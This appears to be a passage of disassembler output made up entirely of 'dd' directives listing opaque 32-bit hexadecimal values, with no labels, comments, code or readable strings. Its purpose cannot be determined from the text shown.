		dd 181E44A2h, 411B588Eh, 207652AFh, 4DAE7E36h, 0F34EA80h
		dd 0EE384070h, 3065631Ah, 0F1DC999Ah, 42C0933h,	0D1817AF1h
		dd 0F1179172h, 0F40DEEA4h, 629CFC3Ch, 0D133B28Fh, 95DD898Fh
		dd 0BF23E3A3h, 21278177h, 0EA5DDE74h, 8E9AFB65h, 340DECA6h
		dd 0F6BF660h, 0AB711159h, 0EC7056h, 1468999Bh, 0C15BA3EBh
		dd 0AFF5D22Fh, 0B87EFDA9h, 0F896C553h, 2D0518C8h, 6EACEE67h
		dd 0F0767554h, 175A9Dh,	89DF3600h, 0C294EC61h, 1F49A7BAh
		dd 573D1AF7h, 0A3F1D20Fh, 23C0BA5Bh, 974A92C6h,	4984ECBCh
		dd 2DF276Dh, 0B9167E24h, 9C9A1C1Fh, 4ADA0307h, 1E44A2F0h
		dd 1B588E18h, 1388E841h, 0BBEB6D33h, 2E09D373h,	0F33BBF7h
		dd 88613B0Bh, 9228F8AEh, 0E9F1A7BFh, 784646Ah, 60375203h
		dd 0A7EDC518h, 0C64C55Fh, 42808A5Ah, 0BEB8EEC4h, 7214CEF6h
		dd 0A4EED18Ch, 8D5D47F6h, 397677AEh, 0E1BB8B09h, 0AC662808h
		dd 0EE3D2B5Eh, 0DDDFF82h, 0A02808C5h, 701E6967h, 0D0E515ABh
		dd 3EF1E06Eh, 8429EC52h, 0AB2C948Ch, 0E64F563h,	3497C158h
		dd 271D091Ch, 16A646h, 0C583EA00h, 1E40A0BDh, 6B3D1BF6h
		dd 0A3E9CE03h, 0FFA5865Bh
		dd 970C4697h, 4B86EEBAh, 3DD03868h, 0F66B7321h,	0EDA2CA90h
		dd 9356E84Bh, 8E160307h, 0E07F9534h, 1669DDC0h,	5BF1391Fh
		dd 1A4CA881h, 0BBB8681Ch, 0F33787Ch, 1E07680h, 6D907495h
		dd 7DF2C92h, 1C446C03h,	0C2643ED4h, 7DFCD71h, 11708D03h
		dd 559DC94Fh, 44AA8B5h,	643356FCh, 0DFDD4DAEh, 75BD0307h
		dd 0D39051DFh, 2F252415h, 0B506F97Fh, 0FD0307E9h, 0CB28D27h
		dd 4C0307E9h, 4CA0A464h, 6E3814F5h, 2C296F3h, 0E4890B48h
		dd 0C23DD7B5h, 307D17Ch, 0CB54F43Ch, 77h, 0F043E509h, 50DCB4Eh
		dd 0AC66260Eh, 8224FEA5h, 7D55A7BCh, 81C53361h,	0B1B1829Fh
		dd 0E4901211h, 0D0E0050Dh, 1103343Ah, 0BAF4958Ah, 5C0FC9B4h
		dd 41019852h, 77D664E7h, 9CF7050Dh, 0AF884ACCh,	50D7717h
		dd 96F26F57h, 449C56C0h, 0E5BF4B70h, 0C8544117h, 68387E17h
		dd 0C281886Ch, 49AFDACCh, 13h, 0CBFFBC8Fh, 0FBE9050Dh
		dd 0E217E0BAh, 520F34EAh, 0E5A01A62h, 0FB7D2B04h, 0D3311BCBh
		dd 6A6FC882h, 3C0F34F3h, 0A395C3DDh, 77BF23E3h,	6C321081h
		dd 0A3E9C904h, 9DCB24B5h, 3CB0129Bh, 0B38C44A2h, 30AD30Bh
		dd 2B337B4Bh, 0D08AD036h, 7831A16Ah, 0C898E5D7h, 0D58EC46Eh
		dd 576F3C3Fh, 0E7CF0933h, 3E64429Fh, 0CD71C264h, 8D050D38h
		dd 0D103E5A5h, 0CC4A1C78h, 0F06BC898h, 0F9FDC791h, 6F47179Dh
		dd 0AC8E6339h, 888ED233h, 0E2A294DCh, 0DF372A22h, 35128F89h
		dd 879BE96Fh, 1F455D2Dh, 563C1AF7h, 530046E0h, 967DBEB9h
		dd 61B7702h, 0C9FD7B21h, 6CCF6519h, 7B3C98CAh, 42166F8Ah
		dd 206890D4h, 6EFC42D8h, 0F65313E9h, 300DB182h,	654D7B3Ch
		dd 0B2906D3Dh, 94EF6AECh, 276F3511h, 1576CB6Dh,	306ACC4Fh
		dd 694B7B3Ch, 0F9753127h, 9E2013C9h, 0DE7B3C30h, 8D3036D6h
		dd 0AD8CA309h, 5F170157h, 45B3E1C2h, 0E6FC4101h, 5DB5A8B0h
		dd 0A1A701F7h, 24DD5EF4h, 0D471050Ah, 2939FD7Eh, 3F187D3Bh
		dd 65AD9569h, 0BCE2C01Dh, 2979C1BAh, 0F6A26D3Bh, 0DB743608h
		dd 0B3537FDCh, 0B58D5D57h, 684A87EFh, 73CE603Ah, 90D44216h
		dd 3B541BA3h, 5BBE5B6Dh, 1B4303F5h, 136CED4Bh, 0AC40D345h
		dd 64C8BD5Eh, 0CC9CFDB3h, 684A2488h, 233FD23Ah,	31168375h
		dd 0F840ED6Bh, 0E3252A72h, 2F091867h, 8FB7FF79h, 77E1B792h
		dd 816B6F3Fh, 0BFC78DE9h, 241240A2h, 451F4482h,	2C5F9FAh
		dd 0C82B8967h, 6B3CE576h, 55297F57h, 3F55BB8h, 65D31B43h
		dd 21B93307h, 0AE6A4AC5h, 3CE5E94Dh, 5199A96Bh,	1DC869E7h
		dd 10713F6Dh, 8558A0E8h, 0E071E7ADh, 0F95ADC82h, 1B7B1399h
		dd 64E254A7h, 92A26B3Ch, 7F59B06Ah, 0A7672F29h,	1A7EC5AFh
		dd 46051E0Ch, 0C3000000h, 241240A2h, 0EACA4482h, 0CBD8527Ah
		dd 3C6402CFh, 0E2845EF4h, 0D22AD11h, 5C5ED05h, 3476F926h
		dd 6339090Fh, 4E1070C9h, 0A0969CDh, 49192903h, 2B3001h
		dd 91680000h, 0FC6AECB0h, 9BB411C1h, 0BC6C9496h, 8040A2C6h
		dd 0DCB0FB7h, 86CC2E05h, 0A492DAEAh, 0C59FC402h, 34C98D7Ah
		dd 0EDF53D0Fh, 0F8936917h, 2013C9EAh, 0F34EF67h, 53F5AF97h
		dd 4EC89EFEh, 0D7A11506h, 74C7030Ah, 30AD7C2h, 303EB282h
		dd 0EF4D69B4h, 48184088h, 5F68CE0Dh, 687E765Fh,	4DA6914Bh
		dd 0FDFD8073h, 0E3E143B5h, 941F18B2h, 0F0FB872Ah, 0E1573D15h
		dd 4AA77DA5h, 3DE266Ch,	0C6E47D23h, 64166885h, 12E18FEEh
		dd 58AF0000h, 0F65F800h, 0C0DC3159h, 0B2934E96h, 6E4B86EEh
		dd 4703D23Ah, 0CD15435Ch, 76F3110h, 52BAE8CAh, 0E9F1A7BFh
		dd 1DA19236h, 5D030797h, 0FABC7FF5h, 0EC050DC8h, 14E7BDE6h
		dd 0F34C853h, 70C983B3h, 0B78A4016h, 470F095Fh,	0B0924F87h
		dd 8DE574E2h, 0E86E3412h, 0D79D74BCh, 65031603h, 127D8EEFh
		dd 0FCD30000h, 0AB8944ACh, 64409DE5h, 0DE372A32h, 92EF628Ah
		dd 0E39FBEC6h, 0A9B1E7C0h, 0E30B5DB4h, 3E460C6Eh, 759DC323h
		dd 793D3EDAh, 39030797h, 7F95D3A9h, 779E6C26h, 71D02ACFh
		dd 1E19A363h, 0F345969h, 0EE3B989h, 0C11C642Ah,	0DEBBBDE3h
		dd 0C6A492F8h, 0D927FAF2h, 0A69519E0h, 14E9B9A6h, 4026A3Ch
		dd 6A095E09h, 0F3950Fh,	30AC8BEh, 0B16B6FEh, 7EF16729h
		dd 30AC8BDh, 162983E7h,	0C83B837Ch, 4B7B030Ah, 0FCA2869Bh
		dd 351B7994h, 5D2B11C3h, 9FC92797h, 0CAF17991h,	81D2301Ah
		dd 0CC8568CBh, 11210934h, 0F80E67Bh, 0D33B6335h, 0D872D83Eh
		dd 20216952h, 177372BDh, 0EF491941h, 0BC560F45h, 3E6A4543h
		dd 5309390Fh, 0AAB298FEh, 573D19F0h, 64CAAB7h, 350B610h
		dd 795AB749h, 0F7792D2Bh, 0D3D8074h, 959636F6h,	933FA78h
		dd 5561F8C8h, 9F091CD5h, 1181C499h, 0F8CF0000h,	0AF8558A0h
		dd 607C91F9h, 0D2332E36h, 8EEB668Eh, 0E763B2DAh, 0ADB5E3FCh
		dd 0E70F51B0h, 325A086Ah, 4991C7DFh, 7DC132D6h,	3D030796h
		dd 0C3BCDF55h, 0D2050DCBh, 0B05AA2F0h, 0F64B0152h, 7A00C096h
		dd 33BAF3F9h, 0EDA78F0Fh, 50C2A91Fh, 0F07E5AE5h, 0D2E32C1Eh
		dd 0BD171DEh, 0DA5CDF71h, 9A03070Fh, 17E1A4AAh,	0E336544h
		dd 0B3E5C35Eh, 4E5D1ABh, 24AE7E28h, 0B05A5F5Fh,	1A926h
		dd 70952200h, 43E54923h, 52C48AEEh, 48F17212h, 41050DCBh
		dd 9C9F5BB4h, 50DCB1Ah,	34226A5Ah, 0AC924870h, 0C954BFC1h
		dd 10CA9A61h, 4C5B63E5h, 60D621FBh, 20050DCBh, 958A7010h
		dd 0B64B2172h, 257E95B2h, 0D46AD56Fh, 0E6050DCBh, 0A8ECFE45h
		dd 0B3BB7CDh, 1A50E651h, 2010050Dh, 0DE5AFA60h,	0DA5F7ED5h
		dd 7125B2h, 95230000h, 7F6AE772h, 0E1EB721Fh, 1AE5C3B9h
		dd 50DCBA1h, 460C6AC7h,	58B994D0h, 824202F4h, 0E51CD6DEh
		dd 0F043E563h, 50DCB4Eh, 0F590E00Eh, 56BDDD79h,	85E37E2Eh
		dd 0F6DFFB41h, 0D8418B92h, 0D2CE35Bh, 6346A305h, 438B3B3Dh
		dd 0B2FB411Bh, 0EC9267DBh, 0A6181BB1h, 0E6050D42h, 0CC540EDEh
		dd 0B417E548h, 51557DCCh, 6D33130Eh, 395CBDh, 95E40000h
		dd 0E54B2172h, 0AB7B2D04h, 0CB952611h, 1EF3050Dh, 0A1E55339h
		dd 0A47E34E1h, 0CB8D3102h, 54AC050Dh, 9C501402h, 0E50EF494h
		dd 0C58BEE43h, 65256B48h, 1442A2FFh, 0D548CC5Eh, 0B2DA5F7Eh
		dd 4225h, 7E952300h, 0B0926F25h, 0E5B822E2h, 7350A943h
		dd 0CB882E2Dh, 0F8C8050Dh, 0CB76CB28h, 7E10050Dh, 63D080E3h
		dd 50DCBDBh, 7FBAB9Bh, 63E5453Fh, 5A1046A2h, 4E548CCh
		dd 0C8FC7A2Ch, 34F918h,	95030000h, 0D56F257Eh, 0DCBD46Ah
		dd 0B1AC9405h, 9A400054h, 0CBA11AE5h, 1AA8050Dh, 0E563E560h
		dd 0FA7C2A04h, 2D071ACAh, 68CC817Bh, 6AECB091h,	9DCB273Ah
		dd 17E517CDh, 237940B0h, 1D7C2C8Ah, 0FFFFFE52h,	80F1B987h
		dd 8C957A4h, 4E5A258h, 64AE7E28h, 9C9F356Eh, 0F33BB65h
		dd 1EF3A999h, 0EFB5553Bh, 0B46E3412h, 849D2112h, 0D5DD0307h
		dd 94341A78h, 0E4B3D67Ch, 8469CD2Eh, 19290307h,	84249C1Fh
		dd 7C500307h, 0B6B29178h, 2F79B5E4h, 0FF000000h, 782E04E5h
		dd 1516B6FEh, 50DCBA5h,	90F8AE84h, 0DCBDE63h, 0D99AC805h
		dd 0ECC73003h, 89770F34h, 0B987F1EEh, 66E9601h,	0B637h
		dd 7F954D00h, 32936C26h, 820F34F6h, 121218B2h, 74639BD3h
		dd 976A30D0h, 4885EDBBh, 943E386Eh, 8C6F257Eh, 9340161h
		dd 89DF38D5h, 0D0A58B41h, 1D43A6E4h, 0CBE56B1Bh, 1EA464BEh
		dd 69712703h, 0DD5E9AF4h, 5003559h, 77E12919h, 837CB7DDh
		dd 500353Bh
		dd 49034B7Bh, 35F244B7h, 82B20500h, 24E4B48Fh, 0D65C49Eh
		dd 0F595D147h, 3E7DDA76h, 8C466E0Fh, 0E70F55ADh, 0CF460C6Ah
		dd 3154DBDh, 60E8857Bh,	2C00000Eh, 0EA678FD9h, 5DB0D88Eh
		dd 10CD1543h, 0C8056D33h, 8051B9EFh, 94C0DDC6h,	0EEB2914Ch
		dd 396F4B86h, 70263CD1h, 221DB768h, 307AB9Ch, 0A2FE74DCh
		dd 0FE181E44h, 0D95F0163h, 260FDADh, 1979DA5Ch,	609BFB93h
		dd 0CC145C02h, 0DA672166h, 54E8AFh, 956C0000h, 0C197F37Fh
		dd 0B6EC399h, 0A5EBC845h, 0E3855FE5h, 0DCBAE10h, 6C6EE05h
		dd 34C9CC25h, 6DF27C0Fh, 635034CAh, 0F061D71Fh,	0A9A4CC92h
		dd 0C3150349h, 3CB0C329h, 1F225459h, 0A4D9A1Ch,	3AEADA03h
		dd 0EBA1F210h, 3370AF08h, 0CF171F09h, 0C89EF455h, 46A26218h
		dd 8DE77A10h, 49C30BDBh, 3C1596F0h, 9D602068h, 0BD67D187h
		dd 0CBA6181Bh, 0AD87050Dh, 8AEA07FBh, 77F494DCh, 50DCBF4h
		dd 0B7DF85E1h, 643E676Dh, 33BA889Bh, 1EB4FC0Fh,	6B732503h
		dd 5F6ED591h, 8235B05Ah, 33000001h, 49237095h, 7E2804E5h
		dd 0F7570AF8h, 6D62F23Ah, 5DF6525h, 0F42E9063h,	466E050Dh
		dd 0F414A586h, 531D050Dh, 0F6D29548h, 70FEB6A0h, 0C50D0936h
		dd 5B63E52Fh, 66FB4Ch, 0F8A8DC5Ah, 2B04E502h, 1BCBFB7Dh
		dd 7858DE31h, 3FA7ED0h,	448C76D7h, 0B2B6661Ch, 4F257E95h
		dd 7ED5DE5Ah, 25B2DA5Fh, 6Ch, 288E6903h, 68F80DCBh, 4059D99Eh
		dd 0DA02B261h, 7295500Ah, 4E54B21h, 0FEF4BA2Ah,	65FACAA9h
		dd 3DD76D3Dh, 0A690C6DCh, 8177D93Bh, 6ECD9DC5h,	50D71CDh
		dd 902611ABh, 0D0050D71h, 74BC20E0h, 0A263E5FEh, 0A47E1442h
		dd 0DCBE35Bh, 0F393A305h, 0E548CC09h, 23576E17h, 0BF6FD400h
		dd 425Eh, 0D720FA00h, 50DDB6Fh,	9D47072Fh, 4B217295h, 4EF043E5h
		dd 28050DCBh, 0DCB77CFh, 730F3705h, 7EF98343h, 50DCBBDh
		dd 0E504FEB4h, 1442A263h, 8268CC5Eh, 4DB338DAh,	0F3ED4E8h
		dd 2C020BF5h, 0D5CBB151h, 0B2DA5F7Eh, 3225h, 7E952300h
		dd 43E54F25h, 0DCB4EF0h, 66260E05h, 0CBDE63DCh,	969E050Dh
		dd 0E563E5DCh, 0A8782E04h, 53297F55h, 4E548CCh,	0C8FC7A2Ch
		dd 32F918h, 95030000h, 816F257Eh, 0FD8CE319h, 0DC86462Dh
		dd 0CBA11AE5h, 1AA8050Dh, 0E563E560h, 4827C117h, 0B555D7FEh
		dd 4C0648A8h, 2C296EDh,	2804E558h, 0BB3DAE7Eh, 7C2A04E5h
		dd 0FB1ACAFAh, 0FFFFFE75h, 2E04E501h, 0CBB509EAh, 0CDF5050Dh
		dd 33D39385h, 0F0AACB19h, 33BBC007h, 5EF43C0Fh,	3E8867D0h
		dd 0AB87A7EDh, 4F15B5FDh, 3E1B94F2h, 0CDF5A3BFh, 8BD31B4Bh
		dd 99336061h, 6CD22DC7h, 2C0307E7h, 5FE74404h, 1F0307E7h
		dd 44B2E0C2h, 845ED800h, 0AB84E2B6h, 91319622h,	7711292h
		dd 8A626603h, 0E521C087h, 2647B5h, 0BC8D0000h, 50DCBFEh
		dd 4991C7DFh, 0BB68h, 101EB000h, 3993530Eh, 0B105F697h
		dd 0F1050D98h, 0EF693F14h, 35AF7FA7h, 4BB47F95h, 50DCBF3h
		dd 815B83B3h, 349F89B6h, 5309390Fh, 0AEB69CFEh,	683C15F4h
		dd 1B49A5B8h, 185D8B1Dh, 970AF142h, 48B60934h, 0ECBD53D4h
		dd 752F5738h, 84ECBA94h, 31276D49h, 6E247197h, 0FDD36BD4h
		dd 0A3930500h, 0AA8759E3h, 0FA1C1A48h, 0FDC579h, 75BD8505h
		dd 0B5FA56D5h, 664E0F3Eh, 2F754DACh, 662C0AC7h,	1595E7EFh
		dd 7E1F1503h, 0AEBh, 0F21A4EA1h, 0B53051Fh, 58A0F6D6h
		dd 90F8AC85h, 2C34607Dh, 7152510Dh, 2306DB23h, 9EF8157Dh
		dd 55ADA0C8h, 8C28E70Fh, 7AF0BB3h, 61DB4B03h, 181E44A2h
		dd 5F359B9h, 74F07E92h,	44240DB1h, 0BEDAF7F9h, 9DC5AC9Ah
		dd 4B2389CDh, 77DD256Bh, 0AFDB3A10h, 4297h, 7F955D00h
		dd 77CA6C26h, 9DC94F19h, 0F2816ECDh, 1310F34h, 74AC8A17h
		dd 0ADD338Bh, 1B437303h, 52381EF3h, 5F0442E4h, 898DBA85h
		dd 151B0933h, 61B7CAEEh, 0CB34EE41h, 50D5673h, 9F430333h
		dd 0A2F54F97h, 0BC81046h, 50DCB8Ah, 81E9BF9Bh, 92486D7Bh
		dd 33BB43A1h, 1DB7FF0Fh, 0D086E67Bh, 892D2E66h,	0C9030784h
		dd 5B0D64F9h, 3C18F18Bh, 7859B06Ah, 30B42A14h, 42DEF149h
		dd 0D5F04A82h, 0B05A5F6Eh, 6543DE70h, 9281C533h, 0FA8DCB2Ch
		dd 0BB84446Ch, 142h, 237095B9h,	0A11AE549h, 0A8050DCBh
		dd 0FEFA401Ah, 4730F71Ch, 0E5F56F3Fh, 0EE92D04h, 50DCBA8h
		dd 0BD90D8E8h, 952FFFA5h, 0DB4C5BD3h, 4B217295h, 7E95B2B6h
		dd 0B4926F25h, 6C3C68EEh, 0E5DE5AF6h, 0F87E2804h, 21761CCCh
		dd 88B2DA5Fh, 5Dh, 2172954Ch, 0A11AE54Bh, 0C7050DCBh, 28666579h
		dd 0A889B2F0h, 9EF50DCBh, 9A46064Eh, 3C19F0AAh,	0E5C2B868h
		dd 0C78DEE43h, 8F751551h, 7E1442A2h, 276D45A4h,	30867531h
		dd 70050DCBh, 0CCDA8040h, 28B29168h, 561ABD73h,	67D119DDh
		dd 89FC42BDh, 74BC050Dh, 5EE69C4Ch, 2Ch, 217295DAh, 0A11AE54Bh
		dd 0C7050DCBh, 0CB6CD22Dh, 0EF5E050Dh, 0FFC892DAh, 42DFE79Bh
		dd 81C53361h, 0A45E54C1h, 42A263E5h, 48CC5E14h,	0DA5F7ED5h
		dd 2B25B2h, 95230000h, 0E54F257Eh, 0DCBA11Ah, 1BD1E105h
		dd 46A263E5h, 4E55A10h,	64AA92Ah, 7C2C58DEh, 4E5158Fh
		dd 0A8A9792Fh, 30h, 0F043E5D0h,	50DCB4Eh, 0AC66260Eh, 0E506FCA7h
		dd 6C30FD43h, 0F2EC51E5h, 3968D152h, 4161050Dh,	0E563E5ABh
		dd 0FA7C2A04h, 2D071ACAh, 48CC817Bh, 0FFFEA65Eh, 7F95DAFFh
		dd 54936C26h, 8E0F33BBh, 915F5CA0h, 7B010A6h, 0FE605003h
		dd 0AC84A7EEh, 487CFAh,	0F264300Dh, 936E12B2h, 77D938B3h
		dd 559DC581h, 8C44A2BFh, 74C0BB3h, 337B4B03h, 93C0012Bh
		dd 0EECA27F9h, 56F6BEB8h, 74C61D5h, 0CF2A0703h,	2D15C999h
		dd 4C30B02Bh, 40440307h, 0EE9EE56Ch, 1F65B5E4h,	0E3000000h
		dd 0DCBFEBCh, 91C7DF05h, 0CB6849h, 59B00000h, 0F721177Dh
		dd 0DCBB204h, 9AC2F205h, 7F9510CAh, 6A936C26h, 0AA0F349Ah
		dd 0D69C09Ah, 0C0223F47h, 0C402A492h, 0EB442259h, 8AB2269Dh
		dd 4A526AD0h, 2E5B112Bh, 2F02A47Eh, 0D59187D1h,	79C33635h
		dd 3F070934h, 0CF909765h, 7AB3F919h, 0DD3910AAh, 90F26F77h
		dd 6F03BA04h, 0A9A4BC9Fh, 67D1194Fh, 4DE87CDh, 0E5B38F62h
		dd 0A7A2F573h, 0CA27A56Bh, 0C761C282h, 730F3E85h, 51B08943h
		dd 0C05D090Fh, 0F47B1E7h, 4EA4855Fh, 51DF018h, 0C5DAC65Fh
		dd 0E2580315h, 7AA8Bh, 0D98FE600h, 12445CB1h, 6F3917CAh
		dd 0A7EDCA07h, 0F3A1825Fh, 93104AEBh, 479AE2B6h, 39D43C6Ch
		dd 0F26F77DDh, 0E9A6CE94h, 0AC4AEC4Fh, 9A0A0307h, 2A04E520h
		dd 1ACAFA7Ch, 0FF792F07h, 845E0462h, 11074DA5h,	20B3B555h
		dd 42A03AB2h, 8BEB461Ch, 731353C5h, 6BD2B11Bh, 2059AFDAh
		dd 9F000000h, 6C267F95h, 34E95A93h, 8C8ABA0Fh, 0AEAAF13h
		dd 9E3E703h, 0E18C4106h, 62C8B5h, 0E50C0000h, 99721017h
		dd 0F191249Eh, 0B2680D5Bh, 34774041h, 0F9D5300Fh, 64F563ABh
		dd 9A30580Eh, 7BFDAB87h, 90410D8Dh, 357DE4E6h, 0E4AA8895h
		dd 0E1B2D072h, 458EC52Bh, 0D05E0864h, 0CA24E872h, 0A2EA9A9Ch
		dd 26DF58E2h, 0E609333Ch, 8F6204DEh, 0C175E6B2h, 0E0050D43h
		dd 2F67D187h, 8DEE6353h, 75CF07C7h, 7E2804E5h, 0CD7098AEh
		dd 3B04DE87h, 0F34EF7Ah, 9C5FBA8Ah, 4380A245h, 475E51DFh
		dd 0B71A9827h, 8ED73D17h, 0F18E6BD4h, 0F63EC945h, 0F3A0A600h
		dd 0A86BDE59h, 270FCF42h
		dd 0B2569F6Dh, 7537DECBh, 94750FD5h, 75233CBFh,	0A2809D4Dh
		dd 0B38C26FCh, 0C37CDD0Bh, 0A3AB7B4Bh, 0FED748AEh, 0F7EB62AAh
		dd 3D42ABF0h, 661A6C7h,	0D82F0000h, 8FE57880h, 405CB1D9h
		dd 3213CE16h, 0EECB066Eh, 0C78352BAh, 4D95C3DCh, 87EFB190h
		dd 0D23A684Ah, 6971273Fh, 9D2112B6h, 0DD0307A3h, 17E5FF75h
		dd 3D75617Ch, 90C0236Dh, 4DA5B868h, 0D9FF4D07h,	0BAE408Eh
		dd 0CD3B7653h, 266F0943h, 37118066h, 7156AB61h,	6BD792EDh
		dd 357DBBD6h, 8BC383C3h, 98326361h, 33D9649Fh, 0A690A00Fh
		dd 928BDD3Bh, 312DA1Ah,	0E44B2218h, 0A8000005h,	66FB0345h
		dd 0D9345C02h, 8C41A9FFh, 4499E1B7h, 4D53D6Bh, 287C594Ah
		dd 62360DC0h, 0BDEBC71Ah, 0F45AB855h, 0A69133ECh, 307A210h
		dd 0E56AC050h, 0AD7D2B04h, 9E346167h, 33BB5E9Dh, 2F07E20Fh
		dd 5AC73179h, 0C5352C7Ah, 870312B7h, 591EC81h, 0E8FF0000h
		dd 5FB5A8B0h, 106CE109h, 0C2233E46h, 0BE9B769Eh, 0F77382EAh
		dd 0BDC593ECh, 0F71F41A0h, 26A381Ah, 59A1F7CFh,	6DD122C6h
		dd 2D0307A2h, 7F95CFA5h, 49CF91F3h, 0B1A7E9C8h,	0CF85CDF5h
		dd 0B0911272h, 0F23A6AECh, 5CAF8852h, 0E80F33BBh, 0E865330Dh
		dd 1551C789h, 8EEE6BEDh, 8F88161Eh, 92EF7925h, 0EC1450C6h
		dd 0A757ADA4h, 0F050312h, 51E6Eh, 4D1B7200h, 86C82825h
		dd 0D385E37Eh, 2B71568Bh, 672D0EC3h, 1F84FE1Fh,	0D30E5602h
		dd 8558A0F0h, 7E93FBA9h, 752A3218h, 0A2DE60D3h,	369E0307h
		dd 1E44A2BCh, 0F359B918h, 0D6DEB805h, 0C389EE43h, 0EC711155h
		dd 683C1596h, 2D05D820h, 0BD7EF167h, 9C050DCBh,	0FB66D086h
		dd 0D041B799h, 0FFB7A1F7h, 5B60544Eh, 25061BBDh, 41ABAF7Fh
		dd 490349A9h, 0B840D1E3h, 8B5B7514h, 0AABB943h,	280CE750h
		dd 4DA80F33h, 7D292F75h, 77C59F35h, 0E1EBC026h,	53AE7E6Bh
		dd 0C99FF873h, 0DC65CB81h, 78E2B123h, 0A8A5AD7Dh, 0E04E044Ah
		dd 0E7509BA1h, 3070A5Fh, 829171Fh, 0BDBB6B4Dh, 0C076C19Bh
		dd 800307BAh, 10445DB0h, 0D78CDA70h, 0CBC2C23Dh, 76BE0939h
		dd 3F657DDCh, 76DC3AD7h, 30647DDCh, 0D63C9690h,	1C7AD78Dh
		dd 96DE82E3h, 9E24E4A0h, 34D7409Dh, 49C0F00Fh, 315E87Dh
		dd 205C3137h, 6C000004h, 2A274F19h, 9D7098CEh, 508DD583h
		dd 8C52D73h, 0C011792Fh, 54001D86h, 0AEF2D10Ch,	0F9AF8B46h
		dd 30667C91h, 62DD7728h, 307A1DCh, 0A2BE349Ch, 0E5441E44h
		dd 1551C78Dh, 66F375h, 8BA805Ah, 99A78D96h, 2AF018C8h
		dd 52AD673Ch, 0F342FE9h, 1C9F99A9h, 30A4D9Eh, 27FAF2D6h
		dd 4D0CB28Dh, 644C030Ah, 4DE94DAEh, 99A9030Ah, 0ED4403C9h
		dd 2ECBB5E1h, 29000000h, 0ABADF3D0h, 3E53773Dh,	77BFBC84h
		dd 7F952DD7h, 0DA936C26h, 3A0F34C1h, 2F930C0Ah,	67030AC1h
		dd 0C1868963h, 48B5E175h, 0E3h,	8C44A28Ch, 0DCB0BB3h, 0E67B4B05h
		dd 2C58DE84h, 8AE772E4h, 0A3BE58DEh, 23031E42h,	7250AD7Dh
		dd 41B79DF9h, 7A2C0805h, 7812C432h, 0DCB47FFh, 6F3F0705h
		dd 86EEB492h, 35896A0Ch, 75050DCBh, 0CF0FC34Dh,	9E5AD1F2h
		dd 7E0A6DCEh, 57AF050Dh, 0BCA4FAC7h, 6E08F6A0h,	6D3310D1h
		dd 4B73BBEBh, 82C82E23h, 49D43294h, 5AE4D011h, 0BC10908h
		dd 34641F28h, 51B0890Fh, 93A35F0Fh, 0F2A3A14Bh,	4DAB8658h
		dd 0B9691D1Bh, 35BAE9BAh, 73291909h, 0D511BD9Eh, 0E960A863h
		dd 0B2AFB7FFh, 0CA0A0351h, 48090EA0h, 2D1BBD2h,	0A8BF0000h
		dd 1F75E8F0h, 0D02C2149h, 82E37E86h, 7E5BB6DEh,	3733C22Ah
		dd 0FD0553ACh, 375F0160h, 42AAF8DAh, 99E1B78Fh,	2D916206h
		dd 6D0307A7h, 41A20FE5h, 3016CB13h, 95A8026Ah, 936C267Fh
		dd 0F34C1DAh, 930C0A3Ah, 30AC12Fh, 86896367h, 0B5E175C1h
		dd 0AB48h, 44A28C00h, 5CB9181Eh, 0EA8D0E08h, 4F050DC7h
		dd 43D92177h, 54C288EEh, 95ED7010h, 0EF693F1Ah,	2FF97FA7h
		dd 55A67C39h, 0F34EC68h, 0AEBC2ED8h, 3E207652h,	0E9110F2Eh
		dd 0DA6D7B81h, 0A07E559h, 0BCEAC403h, 12C8F0C0h, 8472263Fh
		dd 0F97A00C0h, 935D44Fh, 3811CBFBh, 0AB6189DFh,	206B4D45h
		dd 8B5B45E4h, 160F55B6h, 90E83D0h, 8B1CC42h, 44000002h
		dd 2DF2761h, 0F5687026h, 0A8A5CD9Bh, 60FD054Bh,	0E8095107h
		dd 4C18756Eh, 86CA2924h, 0D187E37Eh, 287E5489h,	4AB54FC0h
		dd 307A7F4h, 0A2562CB4h, 16CB1341h, 0A8026A30h,	181E44A2h
		dd 0EBF359B9h, 1A9C9F31h, 5A050DCBh, 7290BA6Ah,	0B5966B21h
		dd 6D3D69EFh, 0E9A364D7h, 73430F34h, 0EAB00A85h, 0E4F8030Ah
		dd 884A0910h, 68D1B5E1h, 17000000h, 6C267F95h, 34EC6293h
		dd 3915F40Fh, 0E9B9ED6Bh, 0FD974D75h, 0AD7BC02h, 0E559DA03h
		dd 0A5030AD7h, 31D1E19Dh, 0F64BED37h, 1A4ACC92h, 0AD7A519h
		dd 0DDDE503h, 0AD78C2Eh, 0A47EC403h, 0AD7E35Bh,	0B4E2C203h
		dd 466E0242h, 0E76A4286h, 0B5E187A0h, 2E67h, 0C52BCD00h
		dd 5BFF4A06h, 0A31B18ACh, 0E3030A61h, 0BC4933D3h, 50DCBFFh
		dd 0E0BAFBE9h, 34F25A17h, 445FBA0Fh, 60612A14h,	371D0838h
		dd 950DE70Fh, 0CA6C267Fh, 0BE9B1A77h, 0F0386CEAh, 9D9E4E06h
		dd 0F34F0A8h, 0FD7EF8C8h, 30AD23Dh, 0E751071Ch,	809C1F7Ah
		dd 5A8AED6h, 0E2862B81h, 440306EEh, 0CBB5E180h,	23h, 0CBFEBC09h
		dd 0FAE8050Dh, 0AAF0D62Bh, 0DCB15A9h, 0F06D5505h, 1E56C096h
		dd 8EC33CD6h, 6E0F34F2h, 95443E46h, 9E6C267Fh, 9C2E6F6Bh
		dd 5DE7A767h, 33D6B7E2h, 0D973430Fh, 0F6823407h, 0F2C20307h
		dd 2F02D452h, 0D29284D4h, 81D72F32h, 0D88EE479h, 87D12F02h
		dd 3C3FD591h, 307F67Ah,	0DC5A0A3Ah, 0FCB273Ah, 7F68A2Ch
		dd 0B2FACA03h, 0E3400044h, 0D23F61DEh, 96F049D3h, 4E1E56C0h
		dd 0EAC8A20Ah, 0A1815CA4h, 0E9C821FBh, 0B919261h, 0F23AAD15h
		dd 99588604h, 335C003Dh, 3BDD5B0Bh, 9A9CC226h, 0CE273AEAh
		dd 0EACE9C9Ah, 0F6D22F02h, 51DE0A0h, 4CA4855Fh,	0CF024A1Ah
		dd 6DB7A1F7h, 70D668CBh, 0AE96520Fh, 34BF51A0h,	92322B31h
		dd 0A73h, 4E58900h, 0CAFA7C2Ah,	0A21ADC1Ah, 0BE1B1D4Bh
		dd 9504F258h, 0EC6DEBB9h, 0C455C395h, 0DEBBBDEBh, 30A197FDh
		dd 0E8B8DD3h, 63FE782Eh, 32D95F01h, 19D468h, 242C8900h
		dd 81E28952h, 4C2h, 4EA8300h, 5C241487h, 51240C89h, 0C181E189h
